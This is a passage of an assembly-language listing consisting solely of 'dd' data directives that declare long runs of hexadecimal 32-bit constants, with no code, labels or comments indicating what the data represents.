		dd 66511E12h, 48A78040h, 262476B0h, 0E4CCDDBh, 0B3C7638Ch
		dd 5D7FF218h, 71A14444h, 0B60C60E9h, 0D4AEE13Ch, 99789574h
		dd 62031E13h, 0D73B7C20h, 3887007Ah, 5AB8A2C9h,	98E810CFh
		dd 0C0D0B66Fh, 568FEC4h, 9AF6443Ch, 2408B824h, 9FB9C381h
		dd 4DCCD40Ah, 5B1200CAh, 97DB3183h, 1B09C239h, 321662h
		dd 20CDF7A0h, 88020479h, 0C28EFF13h, 8C4DEE0h, 7AC4E65Ch
		dd 791D08B1h, 0B1190869h, 118AEE30h, 28B56B29h,	65F720F8h
		dd 0D1F4561Fh, 0E39CFC46h, 37B51E29h, 0E69B45DBh, 0DF900626h
		dd 708C806h, 3CC52FBEh,	40790203h, 11182539h, 57F1BF48h
		dd 2A6C92F6h, 28D4138Dh, 2014C939h, 0BD051123h,	0DC64E99Ah
		dd 0F8802F85h, 0EF490598h, 65347710h, 56CEE48h,	5E79B7C7h
		dd 6CFB04Bh, 4905D0h, 0B190AF70h, 200A8755h, 9984F412h
		dd 3093B495h, 18D8C5B6h, 0B30B9CEh, 28B1F42Dh, 0DE3070FAh
		dd 2874BC88h, 65841A28h, 0D2FE99FDh, 0A2FC510h,	0A03DF86Fh
		dd 0A25C010Fh, 79F5B7DBh, 984980E4h, 3624C104h,	0CC1350F4h
		dd 0C388A8C4h, 9098A48Bh, 54644998h, 0CE5EA402h, 98E0C988h
		dd 7900B651h, 0BB047B20h, 9AC79C5Dh, 382300ACh,	7EA413CDh
		dd 6C900EADh, 7129100h,	635B1AEFh, 0FC8298Ch, 59D6800Ch
		dd 4E9D2BDCh, 43004498h, 0EE2536D1h, 5D32D5Ah, 776C63BDh
		dd 8640059Ah, 3900D09Dh, 304C412Ch, 28102418h, 71401826h
		dd 9405179Ch, 0DCE8928Ch, 0D6425DECh, 0E6110A82h, 0FEA94C0h
		dd 0CC67B600h, 6BB8D904h, 91973183h, 0D42B13E8h, 0D003CB15h
		dd 8459070Fh, 294009F9h, 0A8A0488Ah, 0C9D3F363h, 3B1EF87Ch
		dd 0E205317Ch, 6C80E8D7h, 90D4AD18h, 0E27096E0h, 0F6079E72h
		dd 0DCC8C240h, 79BA1266h
		dd 7BD0C031h, 1E3076F3h, 0F03458CAh, 0C46381E6h, 0F97CBEDEh
		dd 0BCBBC526h, 0B97CBF83h, 3B7498B0h, 0A488A00Ah, 21FD288Eh
		dd 5F783EA8h, 0DB362E82h, 0FDC0B4E7h, 0A10022E0h, 0FABDF358h
		dd 4CA325D8h, 0C75D0C9h, 0CBDB7472h, 6630A4B0h,	647149FBh
		dd 18CA6428h, 464CC9DAh, 72A2B0ACh, 0A1988410h,	83E140h
		dd 0D9236D19h, 722ECD7Ah, 560004E4h, 1CBE3AF9h,	5479BB78h
		dd 7FD47C37h, 8C5A88A7h, 434AE144h, 598080BFh, 45F04774h
		dd 30E931ACh, 0A17478C8h, 7C02F429h, 0B558858h,	0EEA08D48h
		dd 2D101C01h, 29607027h, 17F20C9Ah, 0AC20BA26h,	0B8EE50Eh
		dd 0BBC821BCh, 3B00134Ah, 5B24E68Ch, 9F003C92h,	0F3931E01h
		dd 2080E11Bh, 7B04F4F2h, 20A78F4Fh, 0C06ED508h,	0C8615E7Bh
		dd 630018E8h, 74141C69h, 4B879EBCh, 0ED800004h,	4FBD91AFh
		dd 0A052C300h, 277FFBCAh, 49CC3A31h, 82F6C480h,	803E0F30h
		dd 81BFA900h, 4E0811AAh, 0F05C0096h, 0FB78018Ch, 0D800C816h
		dd 85FE4C6Fh, 0F0815008h, 5BA90062h, 0D118C411h, 9F396D15h
		dd 0AE708166h, 0CEF9F178h, 8F4EF4h, 0FBE8246h, 0DCF2CA61h
		dd 12292300h, 0B106E11Ch, 880300BBh, 9139EE6Dh,	0A900E08Ah
		dd 4EB7CAE3h, 3C55DD8h,	8C61C8C7h, 19889F1Bh, 6E00F7E2h
		dd 284D0358h, 67BBEAh, 4ED9FA90h, 985649DFh, 1410CCEFh
		dd 0D269F201h, 2716B333h, 38889EE0h, 0A802E39h,	0B1089FB5h
		dd 5B00111Fh, 8F591BDFh, 632687h, 3CC86EA6h, 53153F33h
		dd 5CDFDA00h, 0F603B2ACh, 0B0F900E9h, 0E3C9C381h, 5E00C492h
		dd 1F66FB0Ch, 454F2Ch, 42CC2458h, 4102E80Ah, 0A194EC00h
		dd 0E7F864B6h, 0AC2907B9h, 39729917h, 842C74E0h, 0BEA03800h
		dd 29480D41h, 0C572B7h,	7087C7EDh, 0DF6C83A8h, 2CF66900h
		dd 109FAB61h, 0A7DE2432h, 0B51D5Eh, 0B4EDEF8Ch,	97E63019h
		dd 144FF000h, 9A293A1Eh, 12B600F3h, 3244823Ch, 87F4845Dh
		dd 93977B00h, 9951222Ch, 9FB60243h, 0C6A98E8Dh,	7600AC72h
		dd 0A17FD8FDh, 3B60D752h, 0DB01F884h, 2EDD5A5h,	0D3C1CC48h
		dd 698EF001h, 0DFD91991h, 0F4BB9EF4h, 7B7206h, 6EC5F881h
		dd 2DF98EE7h, 5C1C1700h, 6D2C7A22h, 0F7AE0032h,	6939F850h
		dd 8300EF3Eh, 2B1AD45h,	0F2EE78Dh, 1C8C2F9Eh, 0B7F3801Eh
		dd 421E6C3Bh, 0D1F3F00h, 4D1DF4AFh, 0CBB603E5h,	0BEFA7732h
		dd 81DCDEC8h, 0FC03CE77h, 22116150h, 80D9CB4Fh,	3D618CFh
		dd 0FFF7ED28h, 0F4EBA0F8h, 128DE0B0h, 0DFAAE514h, 0D7E300D8h
		dd 2FBADC3h, 621700D0h,	487795B8h, 6018151h, 12542679h
		dd 0DAD44D80h, 0F157003Fh, 0C6F3B5A4h, 6B00DDA7h, 0CB97FF6h
		dd 67CF4Ah, 3D235368h, 9D8FF048h, 0DA989E00h, 8ED23294h
		dd 8DCAA02Dh, 0C6355CC2h, 0F922CA00h, 0BFCF87E3h, 0A4BDF700h
		dd 0B8059C09h, 0F2EFC4Ch, 58490B2Ah, 0FC5AB040h, 260111CAh
		dd 0A37B9316h, 0CBF0B486h, 58B0D2h, 0C9433D24h,	0D02F8A63h
		dd 2B40A0C2h, 4D84207Eh, 92022078h, 763D47CBh, 23CE8787h
		dd 4952DEE0h, 2E6E03FAh, 10C7E58Ch, 8A3783D0h, 4DB70C00h
		dd 0BA2390FBh, 0DB1D0186h, 0DD9812AAh, 62DAF430h, 9027CA28h
		dd 0E6CC20h, 6C5D50Eh, 49951048h, 56523200h, 719A9121h
		dd 3B7A66h, 0C0A66ACDh,	2DA54C6Bh, 0B44EFE01h, 6D82E724h
		dd 3B0AC47h, 77F98F5Eh,	0E8D407E0h, 80DA60D9h, 2FF71EF5h
		dd 0E24263Ch, 0A0F40FAEh, 1ACF7C71h, 10E2CAh, 0D397736Dh
		dd 8974C428h, 0E7D6F62Ch, 0E4013500h, 0CCCEEDh,	3D2AB9C7h
		dd 5ED99D72h, 45BDE00h,	34AEC93Bh, 42F1001Dh, 9F4543F9h
		dd 621D5141h, 0B301958Fh, 15776537h, 5C2B20h, 3E480969h
		dd 60B080C9h, 0E267F100h, 1D8BF94Dh, 0B5D90085h, 13D6AFBDh
		dd 0B100756Ah, 1001FD2Dh, 8119E5h, 7BDE95D7h, 0F3A64B56h
		dd 5C43C500h, 79E436CFh, 0EE8C033h, 953DAB3Eh, 0B8171F00h
		dd 0F8945EDCh, 62B600A2h, 0EAC1B2D6h, 9C00916Bh, 0FF63132Dh
		dd 2D0E225h, 0A20E5951h, 85C057A6h, 91008734h, 55132E1Dh
		dd 3D97E2h, 0D2336074h,	0A5F1E7EAh, 0C71FAEECh,	0F5C02D44h
		dd 0D43847FDh, 0C15E00A2h, 0F99C3568h, 571F2342h, 1983B10Ah
		dd 0A0B98B96h, 0CB431h,	0D6EA1620h, 263FDBF0h, 8FA0663Fh
		dd 0CA47278Eh, 0C901F06Ch, 680A84BBh, 6369F850h, 3AFE7Eh
		dd 0A61E855Fh, 0B92EA2DCh, 0CFE2EA00h, 1CD7EFB7h, 482A0026h
		dd 0DDC6718Bh, 0C807737Ah, 12A9F010h, 500BA571h, 71E4D824h
		dd 381D7F03h, 0E0044161h, 90CADC8Ch, 70FAB7DCh,	925930Ah
		dd 1C00A8BEh, 289A129Bh, 2DCA1DFDh, 146ACC56h, 0EC903711h
		dd 0B35E4B09h, 0B51600D2h, 951BD7h, 218ADFE2h, 0F772A78Bh
		dd 0F0D4CE00h, 0C358B6EFh, 0DFCD00ACh, 7362A07Fh, 0D0A049ADh
		dd 76001EC7h, 26B86D11h, 1F030D8h, 0BEE19DD6h, 0FC0F0944h
		dd 0D07E1F69h, 4FEE2D00h, 2A9DE911h, 1310007Eh,	8AFB33DCh
		dd 0D10017C2h, 3C617C21h, 1D7FAEB8h, 0C0879232h, 0F605CF25h
		dd 0D6002F77h, 0E710E5ECh, 29E426h, 8DF81A21h, 4C9A7522h
		dd 802FF43Dh, 0B40A8EE1h, 1C4D02FFh, 3CA00B9Eh,	47DB4B00h
		dd 3F086A92h, 8B46FE03h, 8856E311h, 5AF9B8h, 0C723D81Bh
		dd 1721C426h, 6A7BA701h, 0C08DDD01h, 6B9F920h, 4EB329FBh
		dd 3474B2B0h, 803F4DE6h, 0E0E9812Bh, 0DBD36EBh,	4C7CB760h
		dd 9200F116h, 9A27452Ah, 697362E6h, 0CCC68200h,	20C321E0h
		dd 0D3E90FA0h, 816E683Bh, 0B0049E67h, 9CDB1C77h, 49A91D00h
		dd 4D2E7563h, 0E7830223h, 5AA0713Bh, 0C0F590C0h, 0B6BA2100h
		dd 0C9DBC19Ah, 0BC6E1C53h, 2A0B0050h, 0E7D2A5F5h, 0B90788F4h
		dd 0A47EEB24h, 735C0D20h, 0ACF10010h, 27B18BA8h, 0EB007A3Ah
		dd 7DABA1AFh, 174525Ch,	35BCD6E0h, 801DF394h, 498CEF68h
		dd 181E40BBh, 8771986h,	763BE2Dh, 0E32E7220h, 3B6DE018h
		dd 0A1EB60AFh, 35A8756Ch, 0EEBDE107h, 8C40E0CDh, 0FF7A7Dh
		dd 606AEDAFh, 0FC365331h, 0A0A63C0Eh, 5BD460C9h, 3CC7677h
		dd 3483C54Ah, 897B1E51h, 6C118D10h, 0A824F10Fh,	21BD7C02h
		dd 0B408032Bh, 90ABD0A1h, 862D3AF5h, 0A95E6F0Ch, 5B032140h
		dd 26F493EBh, 0DD56A8B0h, 9147008Ch, 0B16808A5h, 0BC01DBE7h
		dd 6C3ED71Dh, 0FA8021CFh, 7E89B555h, 31005C91h,	66E23006h
		dd 0EA822AA4h, 0C0D6001Fh, 0B6B355B4h, 0EA001A68h, 5AB0FDAh
		dd 0C0BFA090h, 0F6FAEFA1h, 49744F08h, 8E4A6D00h, 5B1FC1B4h
		dd 5C3CEA57h, 7A0151DEh, 4D473BEAh, 87BCF949h, 5A8FB662h
		dd 8858281Ch, 2F3E4267h, 0BF7680EFh, 0D4B96B5h,	741D00C5h
		dd 40939EF2h, 0D89DBA3Bh, 6E2A380Ah, 2B9FDDB8h,	971D439Bh
		dd 2DC8F47Eh, 1700FAC1h, 0AD4F383Bh, 0F0E93C74h, 0F984009Ch
		dd 0EA461CCFh, 8B000475h, 0B42BE2FBh, 7D72C0h, 213127B5h
		dd 26718E06h, 2F921C00h, 1E586C8Bh, 679F008Fh, 0AE0259F5h
		dd 0BE00496Bh, 63DFEBAAh, 776C4Dh, 0D1329D93h, 0E118EC6Fh
		dd 54DAC402h, 0C0865E1Dh, 4BDC8Fh, 0A5D27C66h, 561F72D7h
		dd 0B9283000h, 8410635Ch, 0E3BE00BFh, 0C6FD8182h, 35009D05h
		dd 834CAB9Fh, 55EA20h, 1485FBA2h, 40D53C0Dh, 1B421800h
		dd 0AA6AC6D0h, 0B29B005Ah, 0C23555B7h, 18000D91h, 0F61E27ABh
		dd 799F2366h, 0FAAD0351h, 0F1687861h, 0BC7A0800h, 6279E9F7h
		dd 0AE040F3Ch, 0FA2F998h, 8540C4AAh, 6F703917h,	9E085807h
		dd 14B1DA0Eh, 0F07A3C8Ah
		dd 7907B270h, 70820BF2h, 0DEB772E0h, 3E3E7C15h,	0F724D85h
		dd 0F044A83h, 4573A0A1h, 0FBB683DDh, 0C8D1A7A1h, 7B916E9h
		dd 579EA231h, 0B26872CAh, 0B79DFD80h, 6D03C3BBh, 0B1F60CBh
		dd 6158067h, 12A70F6Fh,	81A0B8DDh, 0ACD9879Fh, 0A034B3Ch
		dd 0D434E34Eh, 0C0C81700h, 83C248h, 0E8267480h,	0B2F12ECEh
		dd 4A099D14h, 0B3F27BE4h, 0E3368A00h, 7D1E96B8h, 0FAD076Ah
		dd 90A11729h, 821934F1h, 52260B00h, 6AB567D7h, 68FF018Fh
		dd 0F22B3D62h, 82C5D4C3h, 0CF2CAB00h, 0F734E037h, 93BD0060h
		dd 1C49A14Eh, 0F0F337Ah, 548C79BCh, 6748008Ch, 1BD2543h
		dd 0A40D0052h, 223CEC58h, 343F3F07h, 425500ACh,	0DBE1B770h
		dd 3DC80091h, 0DFAF856Fh, 0D50092CBh, 64C76552h, 82731h
		dd 0B8DCFB7Ah, 8C39F747h, 0BD5588h, 0D0954E35h,	1EA6162Bh
		dd 0EC917700h, 0CD67AA1Bh, 0ED660CBCh, 7241B2EBh, 8F0FEA00h
		dd 784E830Ch, 933E003Ah, 0FBC61813h, 0ED129D2Ah, 50007E6Fh
		dd 268C748h, 0E6B103F6h, 922B4272h, 0F77532A8h,	0CEB39D05h
		dd 6A872DD3h, 922B9F0h,	0F5530349h, 0C81841BDh,	0A6FD2A0h
		dd 66004FE4h, 123BE2C5h, 18C3B7A9h, 6883DA93h, 5C01304Ah
		dd 1397048Dh, 53F895BEh, 0E271E9h, 6027FB1Dh, 9B443B3h
		dd 1274F100h, 0A772BBC3h, 81BF0F7Ch, 0F6203C77h, 7ED6109Ch
		dd 3479F900h, 4F6780BEh, 8E5000BBh, 7B974A4Ch, 0B1072CEAh
		dd 4532B43Eh, 0C8D2AAE0h, 103316E2h, 0FC9B00F5h, 0ED5B0CEh
		dd 7E3D3E72h, 0E5027FA5h, 0B7B2913h, 0FA0C403Fh, 0AEE20083h
		dd 30EBFC85h, 2800672Eh, 24CBDE7Bh, 0F4C4F805h,	9A2B3B15h
		dd 62891DFCh, 94F50027h, 0A8BD2D75h, 0C002070h,	606766C9h
		dd 98B2D252h, 31840004h, 0F39A184Dh, 61EE1968h,	0D159A013h
		dd 0B1B68700h, 573F0h, 1A3B317h, 86E65B71h, 7EC8506h, 0F052A9h
		dd 0AC5DC2BBh, 0AD7ACFE0h, 0C8787900h, 521A206Dh, 3218000Bh
		dd 7BFF4D9Bh, 1000D5F0h, 445E50C1h, 19C6188h, 9857CE12h
		dd 0E4B87146h, 9F1E28FFh, 0F0C06606h, 0FC21426Eh, 3C2A48FDh
		dd 7E533600h, 105FC699h, 47894A00h, 58800D2Ch, 0CD70065h
		dd 78F629EEh, 9801D96Ch, 164A3266h, 0AC40488Dh,	1384F372h
		dd 3155526h, 54ED53BCh,	0CD0961C0h, 365B9100h, 0D5EAB8C1h
		dd 0B99F1DCAh, 0BA92876Ah, 518EC040h, 3C1D182Bh, 0F14177F0h
		dd 9373277Ch, 99B23020h, 24551D24h, 468EA798h, 15A8C9C0h
		dd 5800DD71h, 2E906D22h, 986C5DA2h, 56A014FEh, 6C48F6EDh
		dd 0D9824700h, 4A12CD5Ch, 656CB400h, 90BBDF68h,	0C28B00E6h
		dd 731DB144h, 889017D4h, 24891300h, 235204BDh, 7EFE0091h
		dd 0A09E160Eh, 93003DE5h, 6E96E4D2h, 572C70h, 472534F2h
		dd 7C5237A2h, 91C75D2Ch, 14AC931h, 1C9A04E8h, 42BC95h
		dd 23EA81DFh, 7800C5E8h, 4A680D19h, 0FA3DB6h, 5CF9076Eh
		dd 0C6682AEh, 100A781Fh, 5EB7BA40h, 3715D16h, 0CAA3D7BDh
		dd 60014368h, 46ABC18Eh, 65C44F07h, 2577526h, 0F5212987h
		dd 448F830Eh, 0E130882Dh, 1D792C02h, 5D1D7389h,	0D01E905h
		dd 0F1561000h, 0FDD582h, 15D7BB2Eh, 2AECD82Fh, 0B8655400h
		dd 7338FA01h, 2330017h,	1326C71Ch, 9C0FBB5Dh, 0A73FA0h
		dd 0CB1B0D72h, 71A4004Fh, 0B0CFA93Ah, 0F500B18Dh, 0FF7E9E6Eh
		dd 1C0B9C8h, 67174A90h,	0E09315A3h, 36F235A4h, 0FB341300h
		dd 2EC5BA74h, 0DAD2016Ah, 3B781D58h, 0ABBC40Bh,	0DFD2800h
		dd 1B13FBDCh, 83961965h, 0E5CC5087h, 60A6EF05h,	0A4C8A803h
		dd 0A0B01DEDh, 0A08097ABh, 79CA7B14h, 0C8901C5Ah, 8A9FAEh
		dd 28142313h, 66034750h, 0BCD978CBh, 9083D0DAh,	27DF006Ah
		dd 72110D6Bh, 42003E0Ah, 7126988Ah, 0C25005h, 3FEC1099h
		dd 0FBBBC4D2h, 0EFF7DB03h, 0B8CB5B85h, 32403Ch,	0D913FA57h
		dd 87AF9671h, 43864900h, 469ADB67h, 12EB331Fh, 69E923FEh
		dd 0D7D2C01Eh, 26D0E500h, 0EA552DF5h, 0FF7D3Eh,	15189CE6h
		dd 5FA97F29h, 0E381EE00h, 0C42C4B26h, 0BAD0398Bh, 0ECF093B0h
		dd 0D40153E6h, 9BD18434h, 1881927Dh, 0F6653659h, 121DE8B3h
		dd 0CF81CC0Ah, 0E580A0F7h, 0F6DF1E43h, 0FAC709E7h, 5680043Fh
		dd 0D05B331Dh, 450F18C0h, 0F88062Ch, 1A9C20DBh,	0B7E6DF03h
		dd 127C70C7h, 0ED14BA0Eh, 0BC3907h, 379B5790h, 11A0219h
		dd 0D352225Dh, 0E33F8CBEh, 48B65890h, 6B4528C0h, 0DE3EB2E2h
		dd 25B48C54h, 0A006E499h, 1FBCB50Ch, 438E0068h,	0E7F5B0CDh
		dd 980C0371h, 10130733h, 1F4E3405h, 40808680h, 3B9A880Ch
		dd 1F107068h, 81DD7BF8h, 0A66A4271h, 6B188F81h,	0C929A006h
		dd 78CF419Bh, 0F1452862h, 2ACE894h, 0C7ABD4Ch, 28488943h
		dd 9C28B50Dh, 0AA1048B1h, 1B82EFCEh, 9880DE87h,	0CF938F13h
		dd 8594C8C6h, 426B1450h, 9CF174A4h, 363C0EB1h, 0D7450E84h
		dd 9A5480C1h, 3260EE43h, 7D4F6D68h, 20E09E4h, 7C200FBAh
		dd 797A2F4Eh, 0A7BDAD00h, 74640914h, 0C67B0073h, 104A5A99h
		dd 61077642h, 47272472h, 86B5F7E0h, 0FF0F010Ah,	0ABE46048h
		dd 0CA41C088h, 2D27E800h, 6433F6A9h, 0BCE00CCh,	0B6FE723Bh
		dd 0B103962Eh, 8B3A5798h, 8335D88Fh, 578755Eh, 0F6093FC4h
		dd 0E0D480B8h, 98004C0Ch, 0AD331554h, 101D4F1h,	0EF1C2EE9h
		dd 87FF8E3Eh, 0FE659A50h, 9CAA5280h, 266E000Dh,	9E0165Ah
		dd 14009B25h, 0E9A3EC03h, 1966EDh, 73FC0B75h, 2D088072h
		dd 0D2305272h, 2306107Eh, 0CCF8000Ah, 1C95B58Eh, 0F2000338h
		dd 0D6B4B187h, 60661FCEh, 0DD1436B2h, 7558ADE0h, 0D3007AFAh
		dd 0DBF55BA4h, 0E7F010h, 1776E947h, 11B5853Eh, 2E32FC00h
		dd 125058C8h, 0A2D600F5h, 0AABC953h, 0DC00A01Bh, 34309BD9h
		dd 7F491BAh, 0A8F50486h, 5985D0ECh, 19007961h, 0DFAF4EA0h
		dd 0E40554h, 97356298h,	0DA63BC1Dh, 0C8C3B404h,	6EC1434Eh
		dd 0A5E4D550h, 7DA930D2h, 0E078B5E0h, 33A7E801h, 31E76F5Dh
		dd 0A8FB0AD0h, 3F2DD688h, 0C61DB165h, 0B876801Ch, 311D9451h
		dd 0DACB9807h, 0F74088DBh, 0EE641735h, 0ADC5007Ah, 1B1E4446h
		dd 3B01D324h, 0EF54323Ah, 0F6C0D88Fh, 0FDB40372h, 40CF8752h
		dd 9A70FF80h, 0F7FBED00h, 0EBC89663h, 8CEC0039h, 86FEAF88h
		dd 45002953h, 7556E357h, 0EA4DCDh, 1D0D90C5h, 19D56C0Ch
		dd 0EEF2D303h, 0FDD47Fh, 8E75C916h, 0D74458CDh,	0B8486F30h
		dd 382143Fh, 0A44C5D7Ah, 71005EA1h, 330E0329h, 0ECD6213Bh
		dd 344300A0h, 0ACCDDA24h, 81026F68h, 2091D397h,	0E6F4A0D2h
		dd 7D36C9h, 0C8BDA763h,	0A5B341A2h, 0EC121800h,	1F692C26h
		dd 29DFC5Dh, 0B68BBB6Dh, 0D48D51A8h, 0BC9080BAh, 632A99D7h
		dd 27E22Dh, 67FAD212h, 0E99DC54Fh, 9133D000h, 53C3FB39h
		dd 0ED31012Ah, 7DCF624Ch, 9E9CE480h, 7A5AEE17h,	0F2120701h
		dd 0D080CB48h, 0A9D6C581h, 4DECC8F8h, 19721705h, 80C042A4h
		dd 0B8F3BF55h, 892160DDh, 161BDE47h, 0E5691FB0h, 520480B2h
		dd 18F8C5h, 0F5CB03F7h,	0DE7E0D37h, 10D24317h, 25146900h
		dd 0F3D5A8Eh, 9D0AFCEAh, 0F2EF6160h, 8000750Fh,	65A84CBCh
		dd 0F2A27BD3h, 0A3600B3h, 12692968h, 2D00584Fh,	79EB04D4h
		dd 0FF847Bh, 17326087h,	1E736C76h, 0A18A6200h, 0CCABD2A3h
		dd 0BBA7184Ch, 0B778EA31h, 0C6393B01h, 2792CE75h, 0A39B70h
		dd 0CF24BEAFh, 9FDECBC4h, 0EB553400h, 0F32FD691h, 3BBB4C83h
		dd 8E1A0B0Eh
		dd 1C60136h, 0D8195749h, 752468A1h, 320774BDh, 9C0DCB5h
		dd 14D63DE3h, 0A4164F9Ch, 0B7DAA105h, 4EDA80DEh, 0B600A7A0h
		dd 0DCA9B899h, 70E0262Eh, 59130011h, 9B24979Ch,	75008094h
		dd 28F76E2Ah, 0FDD9B2h,	120FA066h, 2D21A1A7h, 0B95FB63Bh
		dd 9052866Ch, 7C87851h,	0C1B5554Dh, 2B7B5096h, 0FE003F1Bh
		dd 816450FDh, 0B63236h,	0A9B73AF9h, 2E39F0Ch, 247C9100h
		dd 993F2592h, 0A6430331h, 74FC8F77h, 0E5519B98h, 0C9BD9401h
		dd 0BEE62BA2h, 0B6F5F080h, 9B154BC0h, 1847849h,	613F95D0h
		dd 1080C420h, 4A3705D9h, 94008CB7h, 173C4209h, 0F66CEBCDh
		dd 4CB24CB3h, 2087E800h, 5A8A6443h, 7E902100h, 0B96E97F3h
		dd 0D42F1F34h, 4A63C023h, 0EF707FFEh, 8F807E3Eh, 69399E50h
		dd 0F3FD820Dh, 4B4E60DAh, 0AE9B0237h, 959EB238h, 99E75840h
		dd 45AC6C02h, 600BDAD9h, 0F47C8Ch, 0D52B2E47h, 0A8A14674h
		dd 0C41FE21Ch, 989BAC41h, 0C8400CF8h, 0E1473Ah,	0ED7A6A28h
		dd 916D8EF0h, 0A00D5828h, 0C8360B1Ch, 0FC5D1Eh,	83B92DA8h
		dd 8F0AFEh, 0A11DEDBCh,	94E949ACh, 0D72B7114h, 0E26D09D4h
		dd 0F15C807Fh, 487339h,	0C889AB6Ch, 41D4D2A8h, 12A61D3Eh
		dd 0F8402E95h, 2339EA17h, 0F644E631h, 0C749005Fh, 75878098h
		dd 4500BCEFh, 0C2FCB09Dh, 0D29F65h, 9461F706h, 1FDA5A0h
		dd 0C1D83000h, 0A287BD76h, 4BEE1D3Fh, 0ACB8401Eh, 5D5734DDh
		dd 38011776h, 7FFD9880h, 0F540BB0Bh, 6E88B9h, 26704989h
		dd 1990EA30h, 524D3407h, 0DB900EB1h, 446AA9h, 8076F967h
		dd 0E626FA7Ah, 7BF35500h, 0B3145C2Fh, 868B0052h, 0CF7F70EEh
		dd 3B004B68h, 19631FD7h, 0EBEC29Ch, 4D1892C7h, 1A839A66h
		dd 0C0B19000h, 5254C359h, 0F85B1E65h, 0A1478356h, 0F9A33BBEh
		dd 0D22B36F0h, 25E2F100h, 411F00Bh, 0B8AD0FF3h,	840E445h
		dd 0E20907FCh, 4B949100h, 0EEBA5A34h, 4E0A03A5h, 7D848FCEh
		dd 0C5C4E097h, 0D41D0FA9h, 80BFC1B6h, 0FC13160Ch, 8FF4F1h
		dd 481F0E58h, 0ECD35967h, 77B3A802h, 0FF170686h, 0DCC95680h
		dd 4B072A89h, 0EDCEF613h, 1FC2D70h, 7D4A7216h, 87360941h
		dd 0E2826F7Fh, 0AC685764h, 917CF3C5h, 0E0045D00h, 6AC2E890h
		dd 0E600785h, 0E1FBFF06h, 0FCB50855h, 0EE395104h, 90038393h
		dd 88FC01E3h, 617E9Eh, 67EA6A98h, 81450D7h, 0F102BDB0h
		dd 11E85733h, 0E4E040BCh, 5AD16D5h, 33D42054h, 88DE8884h
		dd 98E90B00h, 0E8192C36h, 0C7F9792Ah, 0C7212D18h, 406E60E8h
		dd 0E70093CFh, 2A429FEFh, 36D6BDh, 4E4C22E0h, 98D08397h
		dd 899878DDh, 1D8AD859h, 8C176D4Ah, 0CBA0D4BFh,	8EE86000h
		dd 423407Ch, 5203698h, 0C9689920h, 8C515820h, 544C000Ah
		dd 0DB23B978h, 79270EFCh, 6061CA85h, 0F0821118h, 737A8040h
		dd 0FB62E01Dh, 105D2080h, 10DB7B8h, 0A8DBEC2Bh,	0C01AA4FFh
		dd 0C90F4CE2h, 101C06h,	7A623BDh, 948300B4h, 1502C0Eh
		dd 300080C1h, 46BCACEEh, 7CFDFCh, 62D8098Bh, 0DFE7DAEDh
		dd 0E3086A00h, 2D7D691Fh, 5A440030h, 255E5BB7h,	6A0439EDh
		dd 0D91DD099h, 0E4607DC7h, 85BE42h, 45B9FD64h, 8EC98A15h
		dd 0F0866503h, 0C0C09C79h, 0E05377h, 0F27AAC4h,	80267DF4h
		dd 0B761DE00h, 0A421BED2h, 0F02F01CDh, 0EB2D94B5h, 0D6342459h
		dd 0C9D87100h, 7A8BBFA5h, 0A80300E6h, 0DE42960Ch, 1E0E2D01h
		dd 0BE5B1847h, 388A18E4h, 0B080BC4Bh, 7417B3Bh,	2A3C023Dh
		dd 0B7669632h, 0A0B80CC3h, 0B30C8794h, 305FA588h, 794460EBh
		dd 1EF8786Eh, 0D45B9AA0h, 38E7470Ch, 3759A0h, 93129A66h
		dd 6A9AE99h, 0B500BFECh, 705ABF7h, 0DFA211h, 0EB8D3DDEh
		dd 3CE7816Bh, 40B32F30h, 0FC3358Eh, 0C82010DDh,	360C807Ch
		dd 0C0AB3465h, 5784820Bh, 510822DAh, 506C804Dh,	755A6AFFh
		dd 90E6D5h, 2C99C7EDh, 0E9BD3DE7h, 0FDAAA00h, 8D32471Fh
		dd 0DB3419D1h, 0D40D107Dh, 573AE697h, 0B35961D7h, 5FC8C86h
		dd 0F25DF62Ah, 28F42AF8h, 73810080h, 62CDBDB2h,	2E279E76h
		dd 0E9CF4D7h, 0BFC18B88h, 40EB317Ch, 0CA44B418h, 607D4800h
		dd 0FC713AD6h, 1EC17226h, 49A45Ch, 2CEA6531h, 0F37DA0EFh
		dd 0AEABBAC3h, 4E910098h, 0F4825A15h, 6E00BF9Eh, 0CEC6D36Bh
		dd 0EA2E1FA8h, 0D7A44C89h, 2298052Ch, 0C25518C4h, 852A4192h
		dd 4D84260Ah, 6F8E98F5h, 0E4011716h, 0C0E2E0AAh, 39D69FECh
		dd 0F4C85509h, 8220E385h, 1C40B68Eh, 3BF82348h,	504D4F00h
		dd 6B9E943h, 7AEE1EEAh,	57BC4024h, 12FB5A9Ah, 7B0A5200h
		dd 69D7DFF9h, 311A006Ah, 58C3282Ch, 0AC1D337Ah,	283047D1h
		dd 9815111Bh, 734F031Eh, 755FFB5Dh, 21001CA3h, 93186949h
		dd 0F61688AFh, 0CB5B0082h, 1BA3FD03h, 59FE2F0Eh, 0BBFA9918h
		dd 232460h, 0EC730A5Fh,	4212A91Ch, 7B199A1Bh, 8066A850h
		dd 390A01AEh, 2149DE9h,	0E0A3F0F5h, 0D3B93060h,	35F1ECDh
		dd 477DABA6h, 830939Eh,	0E8702129h, 24D5011Eh, 1B990F16h
		dd 9648839Bh, 98F07C59h, 0C78BF95h, 37DEC24h, 0B890F680h
		dd 0C8768300h, 0E10F8C21h, 2D571E78h, 0D57480DDh, 0AD0429FAh
		dd 94062400h, 0BDE3B2F0h, 0BBA80073h, 0B881CAD2h, 90FE44Fh
		dd 602102F5h, 66F01F52h, 8E300074h, 7EFC3362h, 2571B63Eh
		dd 0AF3FB71Fh, 0F19C7DC0h, 27CA0AAh, 59A63954h,	0A1E0B4D2h
		dd 0EE38A29Dh, 5DFC05E9h, 67C34F74h, 96C0F79Ch,	0A707A3h
		dd 0E213AE14h, 71419219h, 4FF5ED1Fh, 1D391CC0h,	4E3818h
		dd 0B0D86B23h, 51286995h, 0C4001570h, 396F6E9h,	7513E6E8h
		dd 765D3338h, 31AAD128h, 0F0964F0Eh, 35041F21h,	0DD08757Bh
		dd 218A1443h, 930C5B51h, 88997935h, 4C00580Ah, 1E952CA8h
		dd 6AE973h, 25C2A2F9h, 19D87EBFh, 2441FB00h, 27487685h
		dd 0D34C000Ch, 0DD7BED17h, 431C1428h, 0FE8011B7h, 0D7466B99h
		dd 3717176Fh, 662E0010h, 0DFEA4562h, 2667F000h,	568D823Ah
		dd 4300023h, 6E2DF132h,	9FF2CC9Dh, 90AFC007h, 6AD01E73h
		dd 37ACEC5h, 1BD89419h,	87888DFEh, 0AC00D239h, 860778E3h
